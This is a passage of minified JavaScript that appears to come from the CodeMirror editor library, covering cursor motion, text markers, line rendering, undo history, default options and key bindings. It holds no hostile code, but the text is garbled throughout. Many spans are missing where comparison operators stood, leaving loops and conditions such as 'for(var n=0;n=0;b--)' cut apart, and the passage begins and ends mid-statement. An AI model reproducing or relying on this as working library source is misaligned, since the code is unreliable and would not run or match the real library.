";if(k>m&&(l+=pg(k-m)),l!=j)Jd(a.doc,l,mb(b,0),mb(b,j.length),"+input");else for(var n=0;n=0;b--)Jd(a.doc,"",d[b].from,d[b].to,"+delete");Pd(a)})}function Ud(a,b,c,d,e){function k(){var b=f+c;return b=a.first+a.size?j=!1:(f=b,i=vf(a,b))}function l(a){var b=(e?ch:dh)(i,g,c,!0);if(null==b){if(a||!k())return j=!1;g=e?(0>c?Xg:Wg)(i):0>c?i.text.length:0}else g=b;return!0}var f=b.line,g=b.ch,h=c,i=vf(a,f),j=!0;if("char"==d)l();else if("column"==d)l(!0);else if("word"==d||"group"==d)for(var m=null,n="group"==d,o=!0;!(0>c)||l(!o);o=!1){var p=i.text.charAt(g)||"\n",q=yg(p)?"w":n&&"\n"==p?"n":!n||/\s/.test(p)?null:"p";if(!n||o||q||(q="s"),m&&m!=q){0>c&&(c=1,l());break}if(q&&(m=q),c>0&&!l(!o))break}var r=Mb(a,mb(f,g),h,!0);return j||(r.hitSide=!0),r}function Vd(a,b,c,d){var g,e=a.doc,f=b.left;if("page"==d){var h=Math.min(a.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight);g=b.top+c*(h-(0>c?1.5:.5)*tc(a.display))}else"line"==d&&(g=c>0?b.bottom+3:b.top-3);for(;;){var i=qc(a,f,g);if(!i.outside)break;if(0>c?0>=g:g>=e.height){i.hitSide=!0;break}g+=5*c}return i}function Wd(a,b){var c=vf(a,b.line).text,d=b.ch,e=b.ch;if(c){(b.xRel<0||e==c.length)&&d?--d:++e;for(var f=c.charAt(d),g=yg(f)?yg:/\s/.test(f)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!yg(a)};d>0&&g(c.charAt(d-1));)--d;for(;e0||0==g&&f.clearWhenEmpty!==!1)return f;if(f.replacedWith&&(f.collapsed=!0,f.widgetNode=Cg("span",[f.replacedWith],"CodeMirror-widget"),d.handleMouseEvents||(f.widgetNode.ignoreEvents=!0),d.insertLeft&&(f.widgetNode.insertLeft=!0)),f.collapsed){if(Ke(a,b.line,b,c,f)||b.line!=c.line&&Ke(a,c.line,b,c,f))throw new Error("Inserting collapsed marker partially overlapping an existing one");y=!0}f.addToHistory&&Hf(a,{from:b,to:c,origin:"markText"},a.sel,0/0);var j,h=b.line,i=a.cm;if(a.iter(h,c.line+1,function(a){i&&f.collapsed&&!i.options.lineWrapping&&Le(a)==i.display.maxLine&&(j=!0),f.collapsed&&h!=b.line&&yf(a,0),ve(a,new se(f,h==b.line?b.ch:null,h==c.line?c.ch:null)),++h}),f.collapsed&&a.iter(b.line,c.line+1,function(b){Pe(a,b)&&yf(b,0)}),f.clearOnEnter&&Yf(f,"beforeCursorEnter",function(){f.clear()}),f.readOnly&&(x=!0,(a.history.done.length||a.history.undone.length)&&a.clearHistory()),f.collapsed&&(f.id=++oe,f.atomic=!0),i){if(j&&(i.curOp.updateMaxLine=!0),f.collapsed)Ec(i,b.line,c.line+1);else if(f.className||f.title||f.startStyle||f.endStyle)for(var k=b.line;k<=c.line;k++)Fc(i,k,"text");f.atomic&&Kb(i.doc),bg(i,"markerAdded",i,f)}return f}function re(a,b,c,d,e){d=vg(d),d.shared=!1;var f=[pe(a,b,c,d,e)],g=f[0],h=d.widgetNode;return tf(a,function(a){h&&(d.widgetNode=h.cloneNode(!0)),f.push(pe(a,wb(a,b),wb(a,c),d,e));for(var i=0;i=b:f.to>b);(e||(e=[])).push(new se(g,f.from,i?null:f.to))}}return e}function xe(a,b,c){if(a)for(var e,d=0;d=b:f.to>b);if(h||f.from==b&&"bookmark"==g.type&&(!c||f.marker.insertLeft)){var i=null==f.from||(g.inclusiveLeft?f.from<=b:f.from0&&h)for(var l=0;ll;++l)o.push(q);o.push(i)}return o}function ze(a){for(var b=0;b0)){var k=[i,1],l=nb(j.from,h.from),m=nb(j.to,h.to);(0>l||!g.inclusiveLeft&&!l)&&k.push({from:j.from,to:h.from}),(m>0||!g.inclusiveRight&&!m)&&k.push({from:h.to,to:j.to}),e.splice.apply(e,k),i+=k.length-1}}return e}function Ce(a){var b=a.markedSpans;if(b){for(var c=0;c=0&&0>=l||0>=k&&l>=0)&&(0>=k&&(nb(j.to,c)||Fe(i.marker)-Ee(e))>0||k>=0&&(nb(j.from,d)||Ee(i.marker)-Fe(e))<0))return!0}}}function Le(a){for(var b;b=Ie(a);)a=b.find(-1,!0).line;return a}function Me(a){for(var b,c;b=Je(a);)a=b.find(1,!0).line,(c||(c=[])).push(a);return c}function Ne(a,b){var c=vf(a,b),d=Le(c);return c==d?b:zf(d)}function Oe(a,b){if(b>a.lastLine())return b;var d,c=vf(a,b);if(!Pe(a,c))return b;for(;d=Je(c);)c=d.find(1,!0).line;return zf(c)+1 }function Pe(a,b){var c=y&&b.markedSpans;if(c)for(var d,e=0;ea.options.maxHighlightLength?(g=!1,f&&_e(a,b,d,j.pos),j.pos=b.length,k=null):k=c.token(j,d),a.options.addModeClass){var l=z.innerMode(c,d).mode.name;l&&(k="m-"+(k?l+" "+k:l))}g&&i==k||(hi;){var d=e[h];d>a&&e.splice(h,1,a,e[h+1],d),h+=2,i=Math.min(a,d)}if(b)if(g.opaque)e.splice(c,h-c,a,b),h=c+2;else for(;h>c;c+=2){var f=e[c+1];e[c+1]=f?f+" "+b:b}})}return e}function $e(a,b){return b.styles&&b.styles[0]==a.state.modeGen||(b.styles=Ze(a,b,b.stateAfter=Ub(a,zf(b)))),b.styles}function _e(a,b,c,d){var e=a.doc.mode,f=new me(b,a.options.tabSize);for(f.start=f.pos=d||0,""==b&&e.blankLine&&e.blankLine(c);!f.eol()&&f.pos<=a.options.maxHighlightLength;)e.token(f,c),f.start=f.pos}function cf(a,b){if(!a)return null;for(;;){var c=a.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!c)break;a=a.slice(0,c.index)+a.slice(c.index+c[0].length);var d=c[1]?"bgClass":"textClass";null==b[d]?b[d]=c[2]:new RegExp("(?:^|s)"+c[2]+"(?:$|s)").test(b[d])||(b[d]+=" "+c[2])}if(/^\s*$/.test(a))return null;var e=b.cm.options.addModeClass?bf:af;return e[a]||(e[a]=a.replace(/\S+/g,"cm-$&"))}function df(a,b){var c=Cg("span",null,null,h?"padding-right: .1px":null),d={pre:Cg("pre",[c]),content:c,col:0,pos:0,cm:a};b.measure={};for(var e=0;e<=(b.rest?b.rest.length:0);e++){var i,f=e?b.rest[e-1]:b.line;d.pos=0,d.addToken=ff,(g||h)&&a.getOption("lineWrapping")&&(d.addToken=gf(d.addToken)),Og(a.display.measure)&&(i=Cf(f))&&(d.addToken=hf(d.addToken,i)),d.map=[],kf(f,d,$e(a,f)),0==d.map.length&&d.map.push(0,0,d.content.appendChild(Mg(a.display.measure))),0==e?(b.measure.map=d.map,b.measure.cache={}):((b.measure.maps||(b.measure.maps=[])).push(d.map),(b.measure.caches||(b.measure.caches=[])).push({}))}return $f(a,"renderLine",a,b.line,d.pre),d}function ef(a){var b=Cg("span","\u2022","cm-invalidchar");return b.title="\\u"+a.charCodeAt(0).toString(16),b}function ff(a,b,c,e,f,g){if(b){var h=a.cm.options.specialChars,i=!1;if(h.test(b))for(var j=document.createDocumentFragment(),k=0;;){h.lastIndex=k;var l=h.exec(b),m=l?l.index-k:b.length-k;if(m){var n=document.createTextNode(b.slice(k,k+m));d?j.appendChild(Cg("span",[n])):j.appendChild(n),a.map.push(a.pos,a.pos+m,n),a.col+=m,a.pos+=m}if(!l)break;if(k+=m+1," "==l[0]){var o=a.cm.options.tabSize,p=o-a.col%o,n=j.appendChild(Cg("span",pg(p),"cm-tab"));a.col+=p}else{var n=a.cm.options.specialCharPlaceholder(l[0]);d?j.appendChild(Cg("span",[n])):j.appendChild(n),a.col+=1}a.map.push(a.pos,a.pos+1,n),a.pos++}else{a.col+=b.length;var j=document.createTextNode(b);a.map.push(a.pos,a.pos+b.length,j),d&&(i=!0),a.pos+=b.length}if(c||e||f||i){var q=c||"";e&&(q+=e),f&&(q+=f);var r=Cg("span",[j],q);return g&&(r.title=g),a.content.appendChild(r)}a.content.appendChild(j)}}function gf(a){function b(a){for(var b=" ",c=0;ci&&l.from<=i)break}if(l.to>=j)return a(c,d,e,f,g,h);a(c,d.slice(0,l.to-i),e,f,null,h),f=null,d=d.slice(l.to-i),i=l.to}}}function jf(a,b,c,d){var e=!d&&c.widgetNode;e&&(a.map.push(a.pos,a.pos+b,e),a.content.appendChild(e)),a.pos+=b}function kf(a,b,c){var d=a.markedSpans,e=a.text,f=0;if(d)for(var k,m,n,o,p,q,h=e.length,i=0,g=1,j="",l=0;;){if(l==i){m=n=o=p="",q=null,l=1/0;for(var r=[],s=0;si)?(null!=t.to&&l>t.to&&(l=t.to,n=""),u.className&&(m+=" "+u.className),u.startStyle&&t.from==i&&(o+=" "+u.startStyle),u.endStyle&&t.to==l&&(n+=" "+u.endStyle),u.title&&!p&&(p=u.title),u.collapsed&&(!q||Ge(q.marker,u)<0)&&(q=t)):t.from>i&&l>t.from&&(l=t.from),"bookmark"==u.type&&t.from==i&&u.widgetNode&&r.push(u)}if(q&&(q.from||0)==i&&(jf(b,(null==q.to?h+1:q.to)-i,q.marker,null==q.from),null==q.to))return;if(!q&&r.length)for(var s=0;s=h)break;for(var v=Math.min(h,l);;){if(j){var w=i+j.length;if(!q){var x=w>v?j.slice(0,v-i):j;b.addToken(b,x,k?k+m:m,o,i+x.length==l?n:"",p)}if(w>=v){j=j.slice(v-i),i=v;break}i=w,o=""}j=e.slice(f,f=c[g++]),k=cf(c[g++],b)}}else for(var g=1;g1&&a.remove(g.line+1,n-1),a.insert(g.line+1,p)}bg(a,"change",a,b)}function nf(a){this.lines=a,this.parent=null;for(var b=0,c=0;bb||b>=a.size)throw new Error("There is no line "+(b+a.first)+" in the document.");for(var c=a;!c.lines;)for(var d=0;;++d){var e=c.children[d],f=e.chunkSize();if(f>b){c=e;break}b-=f}return c.lines[b]}function wf(a,b,c){var d=[],e=b.line;return a.iter(b.line,c.line+1,function(a){var f=a.text;e==c.line&&(f=f.slice(0,c.ch)),e==b.line&&(f=f.slice(b.ch)),d.push(f),++e}),d}function xf(a,b,c){var d=[];return a.iter(b,c,function(a){d.push(a.text)}),d}function yf(a,b){var c=b-a.height;if(c)for(var d=a;d;d=d.parent)d.height+=c}function zf(a){if(null==a.parent)return null;for(var b=a.parent,c=sg(b.lines,a),d=b.parent;d;b=d,d=d.parent)for(var e=0;d.children[e]!=b;++e)c+=d.children[e].chunkSize();return c+b.first}function Af(a,b){var c=a.first;a:do{for(var d=0;db){a=e;continue a}b-=f,c+=e.chunkSize()}return c}while(!a.lines);for(var d=0;db)break;b-=h}return c+d}function Bf(a){a=Le(a);for(var b=0,c=a.parent,d=0;d1&&!a.done[a.done.length-2].ranges?(a.done.pop(),qg(a.done)):void 0}function Hf(a,b,c,d){var e=a.history;e.undone.length=0;var g,f=+new Date;if((e.lastOp==d||e.lastOrigin==b.origin&&b.origin&&("+"==b.origin.charAt(0)&&a.cm&&e.lastModTime>f-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0)))&&(g=Gf(e,e.lastOp==d))){var h=qg(g.changes);0==nb(b.from,b.to)&&0==nb(b.from,h.to)?h.to=xd(b):g.changes.push(Ef(a,b))}else{var i=qg(e.done);for(i&&i.ranges||Kf(a.sel,e.done),g={changes:[Ef(a,b)],generation:e.generation},e.done.push(g);e.done.length>e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift()}e.done.push(c),e.generation=++e.maxGeneration,e.lastModTime=e.lastSelTime=f,e.lastOp=d,e.lastOrigin=e.lastSelOrigin=b.origin,h||$f(a,"historyAdded")}function If(a,b,c,d){var e=b.charAt(0);return"*"==e||"+"==e&&c.ranges.length==d.ranges.length&&c.somethingSelected()==d.somethingSelected()&&new Date-a.history.lastSelTime<=(a.cm?a.cm.options.historyEventDelay:500)}function Jf(a,b,c,d){var e=a.history,f=d&&d.origin;c==e.lastOp||f&&e.lastSelOrigin==f&&(e.lastModTime==e.lastSelTime&&e.lastOrigin==f||If(a,f,qg(e.done),b))?e.done[e.done.length-1]=b:Kf(b,e.done),e.lastSelTime=+new Date,e.lastSelOrigin=f,e.lastOp=c,d&&d.clearRedo!==!1&&Ff(e.undone)}function Kf(a,b){var c=qg(b);c&&c.ranges&&c.equals(a)||b.push(a)}function Lf(a,b,c,d){var e=b["spans_"+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(c){c.markedSpans&&((e||(e=b["spans_"+a.id]={}))[f]=c.markedSpans),++f})}function Mf(a){if(!a)return null;for(var c,b=0;b-1&&(qg(h)[l]=j[l],delete j[l])}}}return e}function Pf(a,b,c,d){c0}function fg(a){a.prototype.on=function(a,b){Yf(this,a,b)},a.prototype.off=function(a,b){Zf(this,a,b)}}function lg(){this.id=null}function ng(a,b,c){for(var d=0,e=0;;){var f=a.indexOf(" ",d);-1==f&&(f=a.length);var g=f-d;if(f==a.length||e+g>=b)return d+Math.min(g,b-e);if(e+=f-d,e+=c-e%c,d=f+1,e>=b)return d}}function pg(a){for(;og.length<=a;)og.push(qg(og)+" ");return og[a]}function qg(a){return a[a.length-1]}function sg(a,b){for(var c=0;c=768&&Ag.test(a)}function Cg(a,b,c,d){var e=document.createElement(a);if(c&&(e.className=c),d&&(e.style.cssText=d),"string"==typeof b)e.appendChild(document.createTextNode(b));else if(b)for(var f=0;f0;--b)a.removeChild(a.firstChild);return a}function Fg(a,b){return Eg(a).appendChild(b)}function Gg(a,b){if(a.contains)return a.contains(b);for(;b=b.parentNode;)if(b==a)return!0}function Hg(){return document.activeElement}function Kg(a){if(null!=Jg)return Jg;var b=Cg("div",null,null,"width: 50px; height: 50px; overflow-x: scroll");return Fg(a,b),b.offsetWidth&&(Jg=b.offsetHeight-b.clientHeight),Jg||0}function Mg(a){if(null==Lg){var b=Cg("span","\u200b");Fg(a,Cg("span",[b,document.createTextNode("x")])),0!=a.firstChild.offsetHeight&&(Lg=b.offsetWidth<=1&&b.offsetHeight>2&&!c)}return Lg?Cg("span","\u200b"):Cg("span","\xa0",null,"display: inline-block; width: 1px; margin-right: -1px")}function Og(a){if(null!=Ng)return Ng;var b=Fg(a,document.createTextNode("A\u062eA")),c=Dg(b,0,1).getBoundingClientRect();if(c.left==c.right)return!1;var d=Dg(b,1,2).getBoundingClientRect();return Ng=d.right-c.right<3}function Tg(a,b,c,d){if(!a)return d(b,c,"ltr");for(var e=!1,f=0;fb||b==c&&g.to==b)&&(d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?"rtl":"ltr"),e=!0)}e||d(b,c,"ltr")}function Ug(a){return a.level%2?a.to:a.from}function Vg(a){return a.level%2?a.from:a.to}function Wg(a){var b=Cf(a);return b?Ug(b[0]):0}function Xg(a){var b=Cf(a);return b?Vg(qg(b)):a.text.length}function Yg(a,b){var c=vf(a.doc,b),d=Le(c);d!=c&&(b=zf(d));var e=Cf(d),f=e?e[0].level%2?Xg(d):Wg(d):0;return mb(b,f)}function Zg(a,b){for(var c,d=vf(a.doc,b);c=Je(d);)d=c.find(1,!0).line,b=null;var e=Cf(d),f=e?e[0].level%2?Wg(d):Xg(d):d.text.length;return mb(null==b?zf(d):b,f)}function $g(a,b,c){var d=a[0].level;return b==d?!0:c==d?!1:c>b}function ah(a,b){_g=null;for(var d,c=0;cb)return c;if(e.from==b||e.to==b){if(null!=d)return $g(a,e.level,a[d].level)?(e.from!=e.to&&(_g=d),c):(e.from!=e.to&&(_g=c),d);d=c}}return d}function bh(a,b,c,d){if(!d)return b+c;do b+=c;while(b>0&&Bg(a.text.charAt(b)));return b}function ch(a,b,c,d){var e=Cf(a);if(!e)return dh(a,b,c,d);for(var f=ah(e,b),g=e[f],h=bh(a,b,g.level%2?-c:c,d);;){if(h>g.from&&h0==g.level%2?g.to:g.from);if(g=e[f+=c],!g)return null;h=c>0==g.level%2?bh(a,g.to,-1,d):bh(a,g.from,1,d)}}function dh(a,b,c,d){var e=b+c;if(d)for(;e>0&&Bg(a.text.charAt(e));)e+=c;return 0>e||e>a.text.length?null:e}var a=/gecko\/\d/i.test(navigator.userAgent),b=/MSIE \d/.test(navigator.userAgent),c=b&&(null==document.documentMode||document.documentMode<8),d=b&&(null==document.documentMode||document.documentMode<9),e=b&&(null==document.documentMode||document.documentMode<10),f=/Trident\/([7-9]|\d{2,})\./.test(navigator.userAgent),g=b||f,h=/WebKit\//.test(navigator.userAgent),i=h&&/Qt\/\d+\.\d+/.test(navigator.userAgent),j=/Chrome\//.test(navigator.userAgent),k=/Opera\//.test(navigator.userAgent),l=/Apple Computer/.test(navigator.vendor),m=/KHTML\//.test(navigator.userAgent),n=/Mac OS X 1\d\D([7-9]|\d\d)\D/.test(navigator.userAgent),o=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),p=/PhantomJS/.test(navigator.userAgent),q=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent),r=q||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),s=q||/Mac/.test(navigator.platform),t=/win/i.test(navigator.platform),u=k&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);u&&(u=Number(u[1])),u&&u>=15&&(k=!1,h=!0);var v=s&&(i||k&&(null==u||12.11>u)),w=a||g&&!d,x=!1,y=!1,mb=z.Pos=function(a,b){return this instanceof mb?(this.line=a,this.ch=b,void 0):new mb(a,b)},nb=z.cmpPos=function(a,b){return a.line-b.line||a.ch-b.ch};rb.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(a){if(a==this)return!0;if(a.primIndex!=this.primIndex||a.ranges.length!=this.ranges.length)return!1;for(var b=0;b=0&&nb(a,d.to())<=0)return c}return-1}},sb.prototype={from:function(){return qb(this.anchor,this.head)},to:function(){return pb(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};var sc,Wc,Xc,dc={left:0,right:0,top:0,bottom:0},vc=0,bd=0,gd=0,hd=null;g?hd=-.53:a?hd=15:j?hd=-.7:l&&(hd=-1/3);var ld,ud,od=null,xd=z.changeEnd=function(a){return a.text?mb(a.from.line+a.text.length-1,qg(a.text).length+(1==a.text.length?a.from.ch:0)):a.to};z.prototype={constructor:z,focus:function(){window.focus(),Pc(this),Mc(this)},setOption:function(a,b){var c=this.options,d=c[a];(c[a]!=b||"mode"==a)&&(c[a]=b,Yd.hasOwnProperty(a)&&zc(this,Yd[a])(this,b,d))},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](a)},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;cc&&(Rd(this,e.head.line,a,!0),c=e.head.line,d==this.doc.sel.primIndex&&Pd(this));else{var f=Math.max(c,e.from().line),g=e.to();c=Math.min(this.lastLine(),g.line-(g.ch?0:1))+1;for(var h=f;c>h;++h)Rd(this,h,a)}}}),getTokenAt:function(a,b){var c=this.doc;a=wb(c,a);for(var d=Ub(this,a.line,b),e=this.doc.mode,f=vf(c,a.line),g=new me(f.text,this.options.tabSize);g.pos>1;if((f?b[2*f-1]:0)>=e)d=f;else{if(!(b[2*f+1]d&&(a=d,c=!0);var e=vf(this.doc,a);return kc(this,e,{top:0,left:0},b||"page").top+(c?this.doc.height-Bf(e):0)},defaultTextHeight:function(){return tc(this.display)},defaultCharWidth:function(){return uc(this.display)},setGutterMarker:Ac(function(a,b,c){return Sd(this,a,"gutter",function(a){var d=a.gutterMarkers||(a.gutterMarkers={});return d[b]=c,!c&&zg(d)&&(a.gutterMarkers=null),!0})}),clearGutter:Ac(function(a){var b=this,c=b.doc,d=c.first;c.iter(function(c){c.gutterMarkers&&c.gutterMarkers[a]&&(c.gutterMarkers[a]=null,Fc(b,d,"gutter"),zg(c.gutterMarkers)&&(c.gutterMarkers=null)),++d})}),addLineClass:Ac(function(a,b,c){return Sd(this,a,"class",function(a){var d="text"==b?"textClass":"background"==b?"bgClass":"wrapClass";if(a[d]){if(new RegExp("(?:^|\\s)"+c+"(?:$|\\s)").test(a[d]))return!1;a[d]+=" "+c}else a[d]=c;return!0})}),removeLineClass:Ac(function(a,b,c){return Sd(this,a,"class",function(a){var d="text"==b?"textClass":"background"==b?"bgClass":"wrapClass",e=a[d];if(!e)return!1;if(null==c)a[d]=null;else{var f=e.match(new RegExp("(?:^|\\s+)"+c+"(?:$|\\s+)"));if(!f)return!1;var g=f.index+f[0].length;a[d]=e.slice(0,f.index)+(f.index&&g!=e.length?" ":"")+e.slice(g)||null}return!0})}),addLineWidget:Ac(function(a,b,c){return Ue(this,a,b,c)}),removeLineWidget:function(a){a.clear()},lineInfo:function(a){if("number"==typeof a){if(!yb(this.doc,a))return null;var b=a;if(a=vf(this.doc,a),!a)return null}else{var b=zf(a);if(null==b)return null}return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,d,e){var f=this.display;a=nc(this,wb(this.doc,a));var g=a.bottom,h=a.left;if(b.style.position="absolute",f.sizer.appendChild(b),"over"==d)g=a.top;else if("above"==d||"near"==d){var i=Math.max(f.wrapper.clientHeight,this.doc.height),j=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);("above"==d||a.bottom+b.offsetHeight>i)&&a.top>b.offsetHeight?g=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=i&&(g=a.bottom),h+b.offsetWidth>j&&(h=j-b.offsetWidth)}b.style.top=g+"px",b.style.left=b.style.right="","right"==e?(h=f.sizer.clientWidth-b.offsetWidth,b.style.right="0px"):("left"==e?h=0:"middle"==e&&(h=(f.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+"px"),c&&Md(this,h,g,h+b.offsetWidth,g+b.offsetHeight)},triggerOnKeyDown:Ac(pd),triggerOnKeyPress:Ac(rd),triggerOnKeyUp:Ac(qd),execCommand:function(a){return ge.hasOwnProperty(a)?ge[a](this):void 0},findPosH:function(a,b,c,d){var e=1;0>b&&(e=-1,b=-b);for(var f=0,g=wb(this.doc,a);b>f&&(g=Ud(this.doc,g,e,c,d),!g.hitSide);++f);return g},moveH:Ac(function(a,b){var c=this;c.extendSelectionsBy(function(d){return c.display.shift||c.doc.extend||d.empty()?Ud(c.doc,d.head,a,b,c.options.rtlMoveVisually):0>a?d.from():d.to()},kg)}),deleteH:Ac(function(a,b){var c=this.doc.sel,d=this.doc;c.somethingSelected()?d.replaceSelection("",null,"+delete"):Td(this,function(c){var e=Ud(d,c.head,a,b,!1);return 0>a?{from:e,to:c.head}:{from:c.head,to:e}})}),findPosV:function(a,b,c,d){var e=1,f=d;0>b&&(e=-1,b=-b);for(var g=0,h=wb(this.doc,a);b>g;++g){var i=nc(this,h,"div");if(null==f?f=i.left:i.left=f,h=Vd(this,i,e,c),h.hitSide)break}return h},moveV:Ac(function(a,b){var c=this,d=this.doc,e=[],f=!c.display.shift&&!d.extend&&d.sel.somethingSelected();if(d.extendSelectionsBy(function(g){if(f)return 0>a?g.from():g.to();var h=nc(c,g.head,"div");null!=g.goalColumn&&(h.left=g.goalColumn),e.push(h.left);var i=Vd(c,h,a,b);return"page"==b&&g==d.sel.primary()&&Od(c,null,mc(c,i,"div").top-h.top),i},kg),e.length)for(var g=0;g.5)&&F(this),$f(this,"refresh",this)}),swapDoc:Ac(function(a){var b=this.doc;return b.cm=null,uf(this,a),hc(this),Oc(this),this.scrollTo(a.scrollLeft,a.scrollTop),bg(this,"swapDoc",this,b),b}),getInputField:function(){return this.display.input},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},fg(z);var Xd=z.defaults={},Yd=z.optionHandlers={},$d=z.Init={toString:function(){return"CodeMirror.Init"}};Zd("value","",function(a,b){a.setValue(b)},!0),Zd("mode",null,function(a,b){a.doc.modeOption=b,B(a)},!0),Zd("indentUnit",2,B,!0),Zd("indentWithTabs",!1),Zd("smartIndent",!0),Zd("tabSize",4,function(a){C(a),hc(a),Ec(a)},!0),Zd("specialChars",/[\t\u0000-\u0019\u00ad\u200b\u2028\u2029\ufeff]/g,function(a,b){a.options.specialChars=new RegExp(b.source+(b.test(" ")?"":"| "),"g"),a.refresh()},!0),Zd("specialCharPlaceholder",ef,function(a){a.refresh()},!0),Zd("electricChars",!0),Zd("rtlMoveVisually",!t),Zd("wholeLineUpdateBefore",!0),Zd("theme","default",function(a){H(a),I(a)},!0),Zd("keyMap","default",G),Zd("extraKeys",null),Zd("lineWrapping",!1,D,!0),Zd("gutters",[],function(a){M(a.options),I(a)},!0),Zd("fixedGutter",!0,function(a,b){a.display.gutters.style.left=b?T(a.display)+"px":"0",a.refresh()},!0),Zd("coverGutterNextToScrollbar",!1,O,!0),Zd("lineNumbers",!1,function(a){M(a.options),I(a)},!0),Zd("firstLineNumber",1,I,!0),Zd("lineNumberFormatter",function(a){return a},I,!0),Zd("showCursorWhenSelecting",!1,Nb,!0),Zd("resetSelectionOnContextMenu",!0),Zd("readOnly",!1,function(a,b){"nocursor"==b?(td(a),a.display.input.blur(),a.display.disabled=!0):(a.display.disabled=!1,b||Oc(a))}),Zd("disableInput",!1,function(a,b){b||Oc(a)},!0),Zd("dragDrop",!0),Zd("cursorBlinkRate",530),Zd("cursorScrollMargin",0),Zd("cursorHeight",1),Zd("workTime",100),Zd("workDelay",100),Zd("flattenSpans",!0,C,!0),Zd("addModeClass",!1,C,!0),Zd("pollInterval",100),Zd("undoDepth",200,function(a,b){a.doc.history.undoDepth=b}),Zd("historyEventDelay",1250),Zd("viewportMargin",10,function(a){a.refresh()},!0),Zd("maxHighlightLength",1e4,C,!0),Zd("moveInputWithCursor",!0,function(a,b){b||(a.display.inputDiv.style.top=a.display.inputDiv.style.left=0)}),Zd("tabindex",null,function(a,b){a.display.input.tabIndex=b||""}),Zd("autofocus",null);var _d=z.modes={},ae=z.mimeModes={};z.defineMode=function(a,b){if(z.defaults.mode||"null"==a||(z.defaults.mode=a),arguments.length>2){b.dependencies=[];for(var c=2;c0&&d.chc;c++){var d=a.listSelections()[c];a.replaceRange("\n",d.anchor,d.head,"+input"),a.indentLine(d.from().line+1,null,!0),Pd(a)}})},toggleOverwrite:function(a){a.toggleOverwrite()}},he=z.keyMap={};he.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},he.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-Up":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Down":"goDocEnd","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},he.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineStart","Cmd-Right":"goLineEnd","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delLineLeft","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection",fallthrough:["basic","emacsy"]},he.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"},he["default"]=s?he.macDefault:he.pcDefault;var je=z.lookupKey=function(a,b,c){function d(b){b=ie(b);var e=b[a];if(e===!1)return"stop";if(null!=e&&c(e))return!0;if(b.nofallthrough)return"stop";var f=b.fallthrough;if(null==f)return!1;if("[object Array]"!=Object.prototype.toString.call(f))return d(f);for(var g=0;g=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){return this.posb},eatSpace:function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a},skipToEnd:function(){this.pos=this.string.length},skipTo:function(a){var b=this.string.indexOf(a,this.pos);return b>-1?(this.pos=b,!0):void 